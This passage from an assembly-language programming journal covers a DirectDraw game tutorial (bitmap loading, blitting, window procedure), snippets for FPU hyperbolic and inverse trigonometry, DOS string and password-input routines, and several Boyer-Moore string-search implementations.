                ; the desired BPP or transfer ;================================= .IF desired_bpp == 16 ;=========================================
                        ; Read in a byte for blue, green and red ;=========================================
                        XOR     ECX, ECX
                        MOV     EBX, Img_Alias
                        MOV     CL, BYTE PTR [EBX]
                        MOV     blue, ECX
                        INC     EBX
                        MOV     CL, BYTE PTR [EBX]
                        MOV     green, ECX
                        INC     EBX
                        MOV     CL, BYTE PTR [EBX]
                        MOV     red, ECX ;======================
                        ; Adjust the Img_Alias ;======================
                        ADD     Img_Alias, 3 ;===========================
                        ; Do we build a 555 or a 565 val ;=============================== .IF Is_555 == TRUE ;===========================
                                ; Build the 555 color word ;===========================
                                RGB16BIT_555 red, green, blue .ELSE ;===========================
                                ; Build the 565 color word ;===========================
                                RGB16BIT_565 red, green, blue .ENDIF ;===============================
                        ; Transer it to the final buffer ;===============================
                        MOV     EBX, Dest_Alias
                        MOV     WORD PTR [EBX], AX ;===========================
                        ; Adjust the dest by 2 ;===========================
                        ADD     Dest_Alias, 2 .ELSE ;=======================================
                        ; This is where code for 24 bit would go ;======================================= ;===========================
                        ; For now just return an err ;===========================
                        JMP err .ENDIF ;====================
                ; Sub amount left by 3 ;====================
                SUB     Img_Left, 3 .ENDW ;===================================
        ; Free the SFP Memory ;===================================
        INVOKE GlobalFree, hSFP

done: ;==================
        ; We completed ;==================
        return TRUE

err: ;===================================
        ; Free the SFP Memory ;===================================
        INVOKE GlobalFree, hSFP ;==================
        ; We didn't make it ;==================
        return FALSE

Create_From_SFP ENDP ;######################################################################
; END Create_From_SFP ;######################################################################
```

The code starts out by creating the file, which, in Windows, is how you open it, and then retrieves the file size. This allows us to allocate enough memory to load our entire file in. The process of reading in the file is fairly simple we just make a call. As usual the most important parts are those that check for errors.

Once the file is in memory we compute the size of the desired image based upon the width and height in our header, and the "desired_bpp" level that was passed in to the function. Then we allocate yet another buffer with the information we calculated. This is the buffer that is kept in the end.

The next step is the heart of our load function. Here we read in 3 bytes, since our pictures are stored as 24-bit images, and create the proper color value (5-6-5 or 5-5-5) for the buffer. We then store that value in the new buffer that we just created. We loop through all pixels in our bitmap and convert each to the desired format. The conversion is based on a pre-defined macro. You could also implement the function by using the members we filled, when we called the function to get the pixel format. This second way would allow you to have a more abstract interface to the code ... but for our purposes it was better to see what was really happening to the bits.

At the completion of our loop we free the main buffer and return the address of the buffer with our converted pixel values. If an error occurs at any point, we jump to our error code which frees the possible buffer we could have created. This is to prevent memory leaks. And ... that is it for the load function.

Once the bitmap is loaded into memory we need to be able to draw it onto a Direct Draw surface. Whether we are loading it in there permanently, or just drawing a quick picture onto the back buffer should not matter. So, we will look at a function that draws the passed bitmap onto our passed surface. Here is the code: ;##

```
; Draw_Bitmap Procedure ;########################################################################
Draw_Bitmap PROC surface:DWORD, bmp_buffer:DWORD, lPitch:DWORD, bpp:DWORD ;========================================================
        ; This function will draw the BMP on the surface.
        ; the surface must be locked before the call.
        ;
        ; It uses the width and height of the screen to do so.
        ; I hardcoded this in just 'cause ... okay.
        ;
        ; This routine does not do transparency! ;======================================================== ;===========================
        ; Local Variables ;===========================
        LOCAL dest_addr :DWORD
        LOCAL source_addr :DWORD ;===========================
        ; Init the addresses ;===========================
        MOV     EAX, surface
        MOV     EBX, bmp_buffer
        MOV     dest_addr, EAX
        MOV     source_addr, EBX ;===========================
        ; Init counter with height
        ;
        ; Hard-coded in. ;===========================
        MOV     EDX, 480 ;=================================
        ; We are in 16 bit mode ;=================================

 copy_loop1: ;=============================
        ; Setup num of bytes in width
        ;
        ; Hard-coded also.
        ;
        ; 640*2/4 = 320. ;=============================
        MOV     ECX, 320 ;=============================
        ; Set source and dest ;=============================
        MOV     EDI, dest_addr
        MOV     ESI, source_addr ;======================================
        ; Move by DWORDS ;======================================
        REP movsd ;=============================
        ; Adjust the variables ;=============================
        MOV     EAX, lPitch
        MOV     EBX, 1280
        ADD     dest_addr, EAX
        ADD     source_addr, EBX ;========================
        ; Dec the line counter ;========================
        DEC     EDX ;========================
        ; Did we hit bottom? ;========================
        JNE copy_loop1


done: ;===================
        ; We completed ;===================
        return TRUE

err: ;===================
        ; We didn't make it ;===================
        return FALSE

Draw_Bitmap ENDP ;########################################################################
; END Draw_Bitmap ;########################################################################
```

This function is a little bit more advanced than some of the others we have seen, so pay attention. We know, as assembly programmers, that if we can get everything into a register things will be faster than if we had to access memory. So, in that spirit, we place the starting source and destination addresses into registers.

Then, we compute the number of WORDS in our line. We can then divide this number by 2, so that we have the number of DWORDS in a line. I have hard-coded this number in since we will always be in 640 x 480 x 16 for our game. Once we have this number we place it in the register ECX. The reason for this is our next instruction MOVSD can be combined with the REP label. This will move a DWORD, decrement ECX by 1, compare ECX to ZERO if not equal then MOVE A DWORD, etc. until ECX is equal to zero. In short it is like having a For loop with the counter in ECX. As we have the code right now, it is moving a DWORD from the source into the destination until we have exhausted the number of DWORDS in our line. At which point it does this over again until we have reached the number of lines in our height (480 in our case).

Those are our only two functions in the bitmap module. They are short and sweet. More importantly, now that we have our bitmap and Direct Draw routines coded we can write the code to display our loading game screen!

A Game ... Well, Kinda'

The library routines are complete and we are now ready to plunge into our game code. We will start out by looking at the game initialization function since it is called first in our code.

```
;##########################################################################
; Game_Init Procedure ;#######################################################################
Game_Init PROC ;========================================================
        ; This function will setup the game ;======================================================= ;===========================================
        ; Initialize Direct Draw -- 640, 480, bpp ;==============================================
        INVOKE DD_Init, 640, 480, screen_bpp ;===================================
        ; Test for an error ;=================================== .IF EAX == FALSE ;=======================
                ; We failed so leave ;=======================
                JMP err .ENDIF ;=====================================
        ; Read in the bitmap and create buffer ;=====================================
        INVOKE Create_From_SFP, ADDR ptr_BMP_LOAD, ADDR szLoading, screen_bpp ;===================================
        ; Test for an error ;=================================== .IF EAX == FALSE ;=======================
                ; We failed so leave ;=======================
                JMP err .ENDIF ;==================================
        ; Lock the DirectDraw back buffer ;==================================
        INVOKE DD_Lock_Surface, lpddsback, ADDR lPitch ;===========================
        ; Check for an error ;============================ .IF EAX == FALSE ;==================
                ; Jump to err ;==================
                JMP err .ENDIF ;==================================
        ; Draw the bitmap onto the surface ;==================================
        INVOKE Draw_Bitmap, EAX, ptr_BMP_LOAD, lPitch, screen_bpp ;==================================
        ; Unlock the back buffer ;==================================
        INVOKE DD_Unlock_Surface, lpddsback ;============================
        ; Check for an error ;============================ .IF EAX == FALSE ;==================
                ; Jump to err ;==================
                JMP err .ENDIF ;====================================
        ; Everything okay so flip displayed
        ; surfaces and make loading visible ;=====================================
        INVOKE DD_Flip ;===========================
        ; Check for an error ;============================ .IF EAX == FALSE ;==================
                ; Jump to err ;==================
                JMP err .ENDIF

done: ;==================
        ; We completed ;==================
        return TRUE

err: ;==================
        ; We didn't make it ;==================
        return FALSE

Game_Init ENDP ;########################################################################
; END Game_Init ;#########################################################################
```

This function plays the most important part in our game so far. In this routine we make the call to initialize Direct Draw. If this succeeds we load in our "Loading Game " bitmap file from disk. After that we lock the back buffer. This is very important to do since we will be accessing the memory directly. After it is locked we can draw our bitmap onto the surface and then unlock it. The final call in our procedure is to flip the buffers. Since we have the bitmap on the back buffer, we need it to be visible. Therefore, we exchange the buffers. The front goes to the back and the back goes to the front. At the completion of this call our bitmap is now visible on screen. One thing that may be confusing here is why we didn't load the bitmap into a Direct Draw surface. The reason is we will only be using it once so there was no need to waste a surface.

Next on our list of things to code is the Windows callback function itself. This function is how we handle messages in Windows. Anytime we want to handle a message the code will go in this function. Take a look at how we have it setup currently.

```
;########################################################################
; Main Window Callback Procedure -- WndProc ;########################################################################
WndProc PROC hWin :DWORD,
                uMsg :DWORD,
                wParam :DWORD,
                lParam :DWORD .IF uMsg == WM_COMMAND ;===========================
        ; We don't have a menu, but
        ; if we did this is where it
        ; would go! ;=========================== .ELSEIF uMsg == WM_KEYDOWN ;=======================================
        ; Since we don't have a Direct input
        ; system coded yet we will just check
        ; for escape to be pressed ;=======================================
        MOV     EAX, wParam .IF EAX == VK_ESCAPE ;===========================
                ; Kill the application ;===========================
                INVOKE PostQuitMessage,NULL .ENDIF ;==========================
        ; We processed it ;==========================
        return 0 .ELSEIF uMsg == WM_DESTROY ;===========================
        ; Kill the application ;===========================
        INVOKE PostQuitMessage,NULL
         return 0 .ENDIF ;===============================================
; Let the default procedure handle the message ;===============================================
INVOKE DefWindowProc,hWin,uMsg,wParam,lParam

RET

WndProc endp ;########################################################################
; End of Main Windows Callback Procedure ;########################################################################
```

The code is fairly self-explanatory. So far we only deal with 2 messages the WM_KEYDOWN message and the WM_DESTROY message. We process the WM_KEYDOWN message so that the user can hit escape and exit our game. We will be coding a Direct Input system, but until then we needed a way to quit the game! The one thing you should notice is that any messages we do not deal with are handled by the "default" processing function -- DefWindowProc(). This function is defined by Windows already. You just need to call it whenever you do not handle a message.

The game main function we aren't going to look at, simply because it is empty.
We haven't added any solid code to our game loop yet. But, everything is
prepared so that next time we can get to it. That then leaves us with the
shutdown code.

```
;########################################################################
; Game_Shutdown Procedure
;########################################################################
Game_Shutdown PROC
;===========================================================
        ; This shuts our game down and frees memory we allocated
;===========================================================
;===========================
        ; Shutdown DirectDraw
;===========================
        INVOKE DD_ShutDown
;==========================
        ; Free the bitmap memory
;==========================
        INVOKE GlobalFree, ptr_BMP_LOAD

done:
;===================
        ; We completed
;===================
        return TRUE

err:
;===================
        ; We didn't make it
;===================
        return FALSE

Game_Shutdown ENDP
;########################################################################
; END Game_Shutdown
;########################################################################
```

Here we make the call to shutdown our Direct Draw library, and we also free the
memory we allocated earlier for the bitmap. We could have freed the memory
elsewhere and maybe next issue we will. But, things are a bit easier to
understand when all of your initialization and cleanup code is in one place.

As you can see there isn't that much code in our game specific stuff. The
majority resides in our modules, such as Direct Draw. This allows us to keep
our code clean and any changes we may need to make later on a much easier since
things aren't hard-coded inline. Anyway, the end result of what you have just
seen is a Loading screen that is displayed until the user hits the escape key.
And that ... primitive though it may be ... is our game thus far.

Until Next Time ...

We covered a lot of material in this article. We now have a bitmap library, and
a Direct Draw library for our game. These are core modules that you should be
able to use in any game. By breaking up the code like this we are able to keep
our game code separate from the library code. You do not want any module to be
dependent on another module.

In the next article we will be continuing our module development with Direct
Input. We will also be creating our menu system next time. These two things
should keep us busy. So, that is what you have to look forward to in the next
installment.

Once again young grasshoppers, until next time ... happy coding.

Get the complete source for the game here:

http://asmjournal.freeservers.com/files/game2.zip

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::...................................ASSEMBLY.LANGUAGE.SNIPPETS
                                                        Basic trigonometry functions
                                                        by Eoin O'Callaghan
```

```
;Summary:       Basic trigonometry functions not directly supported on the FPU
;               (ArcCos, ArcSin, HSin, HCos and HTan).
;Compatibility: Floating-Point Unit.
;Notes:         None.
.data
        hPi dt 3FFFC90FDAA22168C235h ; tbyte
        iL2e dt 3FFEB17217F7D1CF79ACh ; tbyte
        half dd 0.5

ArcCos MACRO ;Inverse Cosine, st(0) = arccos(st(0))
        fld1
        fld st(1)
        fmul st,st
        fsub
        fsqrt
        fpatan
        fchs
        fld hPi
        fadd
EndM

ArcSin Macro ;Inverse Sine, st(0) = arcsin(st(0))
        fld1
        fld st(1)
        fmul st,st
        fsub
        fsqrt
        fpatan
EndM

HSin Macro ;Hyperbolic Sin, st(0) = hsin(st(0)
        fldl2e
        fmul
        fld st
        frndint
        fsub st(1),st
        fld1
        fscale
        fxch
        fstp st
        fxch
```

```
        f2xm1
        fld1
        fadd
        fmul

        fld st
        fld1
        fdivr
        fsub
        fmul half
EndM

HCos Macro ;Hyperbolic Cos, st(0) = hcos(st(0)
        fldl2e
        fmul
        fld st
        frndint
        fsub st(1),st
        fld1
        fscale
        fxch
        fstp st
        fxch
        f2xm1
        fld1
        fadd
        fmul

        fld st
        fld1
        fdivr
        fadd
        fmul half
EndM

HTan Macro ;Hyperbolic Tan, st(0) = htan(st(0)
        fldl2e
        fmul
        fld st
        frndint
        fsub st(1),st
        fld1
        fscale
        fxch
        fstp st
        fxch
        f2xm1
        fld1
        fadd
        fmul

        fmul st,st
        fld st
        fld1
        fadd
        fxch
        fld1
        fsub
        fdivr
EndM
```

```
                                        getpass
                                        by Jake Bush

;Summary:       Get a password type input. ;Compatibility: x86 ;Notes:         input:
;                  BX    = Max length to save.
;                  ES:DI = Location to save the input. (Size must be at least
;                          BX + 1).
;               output:
;                  none.

getpass:
        pusha
        xor    cx, cx
.1:     xor    ah, ah
        int    16h
        cmp    al, 0dh
        je .4
        cmp    cx, 0h
        je .2
        cmp    al, 8h
        je .3
.2:     cmp    cx, bx
        je .1
        cmp    al, 20h
        jb .1
        stosb
        pusha
        mov    al, '*'
        mov    ah, 0eh
        xor    bh, bh
        mov    cx, 1h
        int    10h
        popa
        inc    cx
        jmp .1
.3:     dec    di
        dec    cx
        pusha
        mov    al, 8h
        mov    ah, 0eh
        xor    bh, bh
        mov    cx, 1h
        int    10h
```

```
        mov    al, ' '
        int    10h
        mov    al, 8h
        int    10h
        popa
        jmp .1
.4:     mov    al, 0h
        stosb
        popa
        ret
```

strcmp
by Jake Bush

```
;Summary:       Compares two strings. ;Compatibility: x86 ;Notes:         input:
;                  DS:SI = String 1.
;                  ES:DI = String 2.
;               output:
;                  CF    = 0 = Equal
;                          1 = Unequal

strcmp:
        pusha
.1:     mov    al, [ds:si]
        mov    ah, [es:di]
        cmp    ah, al
        jne .2
        cmp    ax, 0h
        je .3
        inc    si
        inc    di
        jmp .1
.2:     stc
        jmp .4
.3:     clc
.4:     popa
        ret
```

strlwr
by Jake Bush

```
;Summary:       Converts all the characters in a ASCIIz string to lower-case. ;Compatibility: x86 ;Notes:         input:
;                  DS:SI = Location of an string to convert.
;                  ES:DI = Location to save the converted string.
;               output:
;                  none.

strlwr:
        pusha
.1:     lodsb
        cmp    al, 0h
        je .3
        cmp    al, 41h
        jb .2
        cmp    al, 90h
        ja .2
        or    al, 00100000b
.2:     stosb
        jmp .1
.3:     popa
        ret
```

strupr
by Jake Bush

```
;Summary:       Converts all the characters in a ASCIIz string to upper-case. ;Compatibility: x86 ;Notes:         input:
;                  DS:SI = Location of an string to convert.
;                  ES:DI = Location to save the converted string.
;               output:
;                  none.

strupr:
        pusha
.1:     lodsb
        cmp    al, 0h
        je .3
        cmp    al, 61h
        jb .2
        cmp    al, 7ah
        ja .2
        xor    al, 00100000b
.2:     stosb
        jmp .1
.3:     popa
        ret
```

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::...........................................ISSUE.CHALLENGE
```

```
Challenge
---------
Code a fast pattern matching algorithm.


Solution
--------
Four approaches are presented here, three by Steve Hutchesson, who also wrote a
```

very good introductory text explaining the foundation of the Boyer Moore search algorithm and its variations, and one by buliaNaza who aims at writing the fastest binary string search algorithm for PPlain and PMMX processors.

Three Boyer Moore Exact Pattern Matching Algorithms
by Steve Hutchesson

Three Boyer Moore Exact Pattern Matching Algorithms
~~~~~~

Steve Hutchesson
Sydney
Australia
August 2001
hutch@pbq.com.au

In 1977 Robert Boyer and L. Moore designed an exact pattern matching algorithm that was different from any of the contemporary designs of the time. It had a fundamentally different logic that compared the pattern being searched for to the current location in the source in reverse order.

The logic was based on obtaining more information from performing the comparison in reverse than the standard methods of forward comparison. If a character that caused the mismatch was not among the characters that were in the pattern being matched, there was no point in matching any further characters so the pattern could be shifted right by the number of characters needed to go past it.

This shift has usually been called the BAD CHARACTER shift.

```
              |
source  : bad character shift
pattern : shift
              |
```

Character "t" mismatches with character "c" in the source. "c" is not in the pattern being searched for and there is no point in searching further back as no match is possible at the current location so the pattern is shifted the number of places right so that the pattern is completely past the mismatching character.

```
                   |
source  : bad character shift
pattern :      shift
                   |
```

Character "t" again mismatches with character "c" in the source so the pattern is again shifted completely past the mismatching character.

```
                        |
source  : bad character shift
pattern :           shift
                        |
```

The next mismatch is different to the previous ones, it is with a character that is within the pattern being searched for and this requires a different type of shift. When a character is within the pattern, it allows the capacity to start matching the pattern to the source. This shift is usually called the GOOD SUFFIX shift but it is sometimes called the MATCHING SHIFT.

The fundamental Boyer Moore design uses a clever method of determining if the character being compared is within the pattern being searched for or not. It constructs a table of 256 members which is initially filled with the length of the pattern being searched for in the source. It then overwrites the position of each character in the pattern into the table at the correct position for the character's ascii value.

This means that a character being compared can be tested in one memory read to determine if it is within the pattern or not, if the shift in the table is the same length as the pattern, the character is not in the pattern, if it is less, it is a character that is in the pattern.

This will produce a set of shifts for the character in the pattern that descend in their value.

```
pattern : shift
          4321      <- GOOD SUFFIX shift
          12345     <- BAD CHARACTER shift
```

The method of calculating the BAD CHARACTER shift is based on the ascending count from the beginning of the pattern. If it is the first character being compared, the shift is the length of the pattern, for each comparison made, the shift decrements by one.

Apply the GOOD SUFFIX shift from the table and the pattern is shifted across so that the character "s" lines up with the "s" in the source and the pattern has been matched.

```
                            *
source  : bad character shift
pattern :               shift
                            *
```

This example works OK because the mismatch occurs on the first comparison but in patterns that have repeat sequences of characters, this matching by itself will often fail to produce a match.

```
pattern : foooooo
          711111    <- GOOD SUFFIX shift
          1234567    1
    jmp Cleanup
  @@:
```
~~~~~~

```
    mov esi, lpSource
    add esi, srcLngth
    sub esi, ebx
    mov edx, esi            ; set Exit Length

  ; ---------------------------------------
  ; load shift table with value in subLngth
  ; ---------------------------------------
    mov ecx, 256
    mov eax, ebx
    lea edi, shift_table
    rep stosd

  ; ---------------------------------------------
  ; load decending count values into shift table
  ; ---------------------------------------------
    mov ecx, ebx                ; SubString length in ECX
    dec ecx                     ; correct for zero based index
    mov esi, lpSubStr           ; address of SubString in ESI
    lea edi, shift_table

    xor eax, eax

  Write_Shift_Chars:
    mov al, [esi]               ; get the character
    inc esi
    mov [edi+eax*4], ecx        ; write shift for each character
    dec ecx                     ; to ascii location in table
    jnz Write_Shift_Chars

  ; -----------------------------
  ; set up for main compare loop
  ; -----------------------------
    mov ecx, ebx
    dec ecx
    mov cval, ecx

    mov esi, lpSource
    mov edi, lpSubStr
    add esi, startpos           ; add starting position

    jmp Pre_Loop

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

  Calc_Suffix_Shift:
    add eax, ecx
    sub eax, cval               ; sub loop count
    jns Add_Suffix_Shift
    mov eax, 1                  ; minimum shift is 1

  Add_Suffix_Shift:
    add esi, eax                ; add SUFFIX shift
    mov ecx, cval               ; reset counter in compare loop

  Test_Length:
    cmp edx, esi                ; test exit condition
    jl No_Match

  Pre_Loop:
    xor eax, eax                ; zero EAX for following partial writes
    mov al, [esi+ecx]
    cmp al, [edi+ecx]           ; cmp characters in ESI / EDI
    je @F
    mov eax, shift_table[eax*4]
    cmp ebx, eax
    jne Add_Suffix_Shift        ; bypass SUFFIX calculations
    lea esi, [esi+ecx+1]        ; add BAD CHAR shift
    jmp Test_Length
  @@:
    dec ecx
    xor eax, eax                ; zero EAX for following partial writes

  Cmp_Loop:
    mov al, [esi+ecx]
    cmp al, [edi+ecx]           ; cmp characters in ESI / EDI
    jne Set_Shift               ; if not equal, get next shift
    dec ecx
    jns Cmp_Loop
    jmp Match                   ; fall through on match

  Set_Shift:
    mov eax, shift_table[eax*4]
    cmp ebx, eax
    jne Calc_Suffix_Shift       ; run SUFFIX calculations
    lea esi, [esi+ecx+1]        ; add BAD CHAR shift
    jmp Test_Length

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

  Match:
    sub esi, lpSource           ; sub source from ESI
    mov eax, esi                ; put length in eax
    jmp Cleanup

  No_Match:
    mov eax, -1

  Cleanup:
    pop edi
    pop esi
    pop ebx

    ret
```

```
BMBinSearch endp

; #########################################################################

    end

    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @                                                               @
    @  The Horspool style variation using the BAD CHARACTER shift   @
    @                                                               @
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@


; ######################################################################### .486 .model flat, stdcall  ; 32 bit memory model
    option casemap :none  ; case sensitive .code

; #########################################################################

BMHBinsearch proc startpos:DWORD,
                  lpSource:DWORD,srcLngth:DWORD,
                  lpSubStr:DWORD,subLngth:DWORD

    LOCAL cval:DWORD
    LOCAL shift_table[256]:DWORD

    push ebx
    push esi
    push edi

    mov ebx, subLngth

    cmp ebx, 1
    jg @F
    mov eax, -2                 ; string too short, must be > 1
    jmp BMHout
  @@:

    mov esi, lpSource
    add esi, srcLngth
    sub esi, ebx
    mov edx, esi                ; set Exit Length

  ; ----------------------------------------
  ; load shift table with value in subLngth
  ; ----------------------------------------
    mov ecx, 256
    mov eax, ebx
    lea edi, shift_table
    rep stosd

  ; ----------------------------------------------
  ; load decending count values into shift table
  ; ----------------------------------------------
    mov ecx, ebx                ; SubString length in ECX
    dec ecx                     ; correct for zero based index
    mov esi, lpSubStr           ; address of SubString in ESI
    lea edi, shift_table

    xor eax, eax

  Write_Chars:
    mov al, [esi]               ; get the character
    inc esi
    mov [edi+eax*4], ecx        ; write shift for each character
    dec ecx                     ; to ascii location in table
    jnz Write_Chars

  ; -----------------------------
  ; set up for main compare loop
  ; -----------------------------
    mov ecx, ebx
    dec ecx
    mov cval, ecx

    mov esi, lpSource
    mov edi, lpSubStr
    add esi, startpos           ; add starting position

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

  Main_Loop:
    sub eax, eax                ; zero EAX before partial write
    mov al, [esi+ecx]
    cmp al, [edi+ecx]           ; cmp characters in ESI / EDI
    jne Get_Shift               ; if not equal, get next shift
    dec ecx
    jns Main_Loop

    jmp Matchx

  Get_Shift:
    inc esi                     ; inc esi for minimum shift
    cmp ebx, shift_table[eax*4] ; cmp subLngth to char shift
    jne Exit_Test
    add esi, ecx                ; add bad char shift
  Exit_Test:
    mov ecx, cval               ; reset counter in compare loop
    cmp esi, edx                ; test for exit condition
    jl Main_Loop

    jmp MisMatch

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

  Matchx:
```

```
    sub esi, lpSource           ; sub source from ESI
    mov eax, esi                ; put length in eax
    jmp BMHout

  MisMatch:
    mov eax, -1

  BMHout:
    pop edi
    pop esi
    pop ebx

    ret

BMHBinsearch endp

; #########################################################################

    end

        @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
        @                                                          @
        @   The simplified version using the GOOD SUFFIX shift    @
        @                                                          @
        @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

; ######################################################################### .486 .model flat, stdcall  ; 32 bit memory model
    option casemap :none  ; case sensitive .code

; #########################################################################

SBMBinSearch proc startpos:DWORD,
                 lpSource:DWORD,srcLngth:DWORD,
                 lpSubStr:DWORD,subLngth:DWORD

    LOCAL shift_table[256]:DWORD

    push ebx
    push esi
    push edi

    mov edx, subLngth

    cmp edx, 1
    jg @F
    mov eax, -2                 ; string too short, must be > 1
    jmp Cleanup
  @@:

    mov esi, lpSource
    add esi, srcLngth
    sub esi, edx
    mov ebx, esi                ; set Exit Length

  ; ----------------------------------------
  ; load shift table with value in subLngth
  ; ----------------------------------------
    mov ecx, 256
    mov eax, edx
    lea edi, shift_table
    rep stosd

  ; ----------------------------------------------
  ; load decending count values into shift table
  ; ----------------------------------------------
    mov ecx, edx                ; SubString length in ECX
    dec ecx                     ; correct for zero based index
    mov esi, lpSubStr           ; address of SubString in ESI
    lea edi, shift_table

    xor eax, eax

  Write_Shift_Chars:
    mov al, [esi]               ; get the character
    inc esi
    mov [edi+eax*4], ecx        ; write shift for each character
    dec ecx                     ; to ascii location in table
    jnz Write_Shift_Chars

  ; -----------------------------
  ; set up for main compare loop
  ; -----------------------------

    mov esi, lpSource
    mov edi, lpSubStr
    dec edx
    xor eax, eax                ; zero EAX
    add esi, startpos           ; add starting position

    jmp Cmp_Loop

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

  Calc_Suffix_Shift:
    add ecx, shift_table[eax*4] ; add shift value to loop counter
    sub ecx, edx                ; sub pattern length
    jns Pre_Compare
    mov ecx, 1                  ; minimum shift is 1

  Pre_Compare:
    add esi, ecx                ; add suffix shift
    mov ecx, edx                ; reset counter for compare loop

  Exit_Text:
    cmp ebx, esi                ; test exit condition
```

```
    jl No_Match

    xor eax, eax                ; clear EAX for following partial writes
    mov al, [esi+ecx]
    cmp al, [edi+ecx]           ; cmp characters in ESI / EDI
    je @F
    add esi, shift_table[eax*4]
    jmp Exit_Text
  @@:
    dec ecx

    xor eax, eax                ; clear EAX for following partial writes
  Cmp_Loop:
    mov al, [esi+ecx]
    cmp al, [edi+ecx]           ; cmp characters in ESI / EDI
    jne Calc_Suffix_Shift       ; if not equal, get next shift
    dec ecx
    jns Cmp_Loop
    jmp Match                   ; match on fall through

; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

  Match:
    sub esi, lpSource           ; sub source from ESI
    mov eax, esi                ; put length in eax
    jmp Cleanup

  No_Match:
    mov eax, -1

  Cleanup:
    pop edi
    pop esi
    pop ebx

    ret

SBMBinSearch endp

; #########################################################################

    end

********************************** END *************************************
```

Fastest Binary String Search Algorithm
by buliaNaza

```
; Fastest binary string search algo with
; PPlain and PMMX type of processors
;  2001 by buliaNaza         ;
;                               ; .data?                          ;
 align 4                        ; !!!
 skip_table   DD   256 Dup(?)   ; skip table
;                               ; ;..............................;
; Usage: esi ->pBuffer          ; esi->buffer with bytes to be searched through
;        ebp = lenBuffer        ; ebp =length of the buffer
;        ebx ->pSrchData        ; ebx->pointer to data to be searched for
;        edx = lenSrchData      ; edx=length of data  to be searched for
;        edi ->pskip_table      ; edi->pointer to skip table (must be aligned)
;        call BMCaseSNext       ; ;...............................; .code                             ;
BMCaseSNext:                      ;
        cmp  edx, 4               ; edx = length of data to be searched for
        jg   Boyer_Moore          ; ;... Brute Force Search .........; for 4 digits or less only!
        mov  edi, [ebx]           ; edi = dword of data to be searched for
        mov  ecx, 5               ;
        sub  ecx, edx             ;
        lea  eax, [esi+edx-1]     ; eax->new starting address in pBuffer
        shl  ecx, 3               ; *8
        mov  bl,  [ebx+edx-1]     ; get last byte only
        mov  bh,  bl              ; copy in bh
        bswap edi                 ;
        shr  edi, cl              ;
        add  ebp, esi             ; ebp ->end of buffer
        and  ebx, 0FFFFh          ; ebx = need the bx word only
        mov  ecx, ebx             ;
        mov  esi, edx             ; esi=edx = length of data to be searched for
        shl  ecx, 16              ;
        test eax, 3               ;
        lea  ebx, [ebx+ecx]       ;
        jz   Search_2             ;
Unalign_1:                        ;
        cmp  eax, ebp             ; ebp ->end of buffer
        jge  Not_found            ;
        mov  cl, [eax]            ;
        inc  eax                  ;
        cmp  cl, bl               ;
        jz   Compare_1            ;
Search_1:                         ;
        test eax, 3               ;
        jnz  Unalign_1            ;
Search_2:                         ;
        cmp  eax, ebp ;u ebp ->end of buffer
        jge  Not_found ;v
        mov  ecx, [eax] ;u scasb for the last byte from pSrchData
        add  eax, 4 ;v
        xor  ecx, ebx ;u
        mov  edx, 7EFEFEFFh ;v
        add  edx, ecx ;u
        xor  ecx, -1 ;v
        xor  ecx, edx ;u
        mov  edx, [eax-4] ;v
        and  ecx, 81010100h ;u
```

```
        jz   Search_2 ;v
                              ;
        cmp  dl, bl           ;
        jz   Minus_4          ;
        cmp  dh, bl           ;
        jz   Minus_3          ;
        shr  edx, 16          ;
        cmp  dl, bl           ;
        jz   Minus_2          ;
        cmp  dh, bl           ;
        jz   Compare_1        ;
        jnz  Search_2         ;
Minus_2:                      ;
        dec  eax              ;
        jnz  Compare_1        ;
Minus_4:                      ;
        sub  eax, 3           ;
        jnz  Compare_1        ;
Minus_3:                      ;
        sub  eax, 2           ;
Compare_1:                    ;
        mov  edx, edi         ;
        cmp  eax, ebp         ; ebp ->end of buffer
        jg   Not_found        ;
        cmp  esi, 1           ;
        jz   Found_1          ;
        cmp  dl, [eax-2]      ; eax->pBuffer
        jnz  Search_1         ;
        cmp  esi, 2           ;
        jz   Found_1          ;
        cmp  dh, [eax-3]      ; eax->pBuffer
        jnz  Search_1         ;
        cmp  esi, 3           ;
        jz   Found_1          ;
        shr  edx, 16          ;
        mov  cl, [eax-4]      ; eax->pBuffer
        cmp  dl, cl           ;
        jnz  Search_1         ;
Found_1:                      ;
        sub  eax, esi         ; in eax->pointer to 1st
        ret                   ; occurrence of data found in pBuffer ;...Boyer Moore Case Sens Next Search...;
Boyer_Moore:                  ;
        add  esi, ebp         ; esi->pointer to the last byte of pBuffer
        lea  ebx, [ebx+edx-1] ; ebx->pointer to the last byte of pSrchData
        neg  edx              ; edx= -lenSrchData
        mov  ecx, edx         ; ecx = edx = -lenSrchData
        add  ebp, edx         ; sub lenSrchData from lenBuffer
        mov  eax, 256         ; eax = counter
        xor  ebp, -1          ; not ebp->current negative index
MaxSkipLens:                  ;
        mov  [eax*4+edi-4], edx   ; filling up the skip_table with -lenSrchData
        mov  [eax*4+edi-8], edx   ;
        mov  [eax*4+edi-12], edx  ;
        mov  [eax*4+edi-16], edx  ;
        mov  [eax*4+edi-20], edx  ;
        mov  [eax*4+edi-24], edx  ;
        mov  [eax*4+edi-28], edx  ;
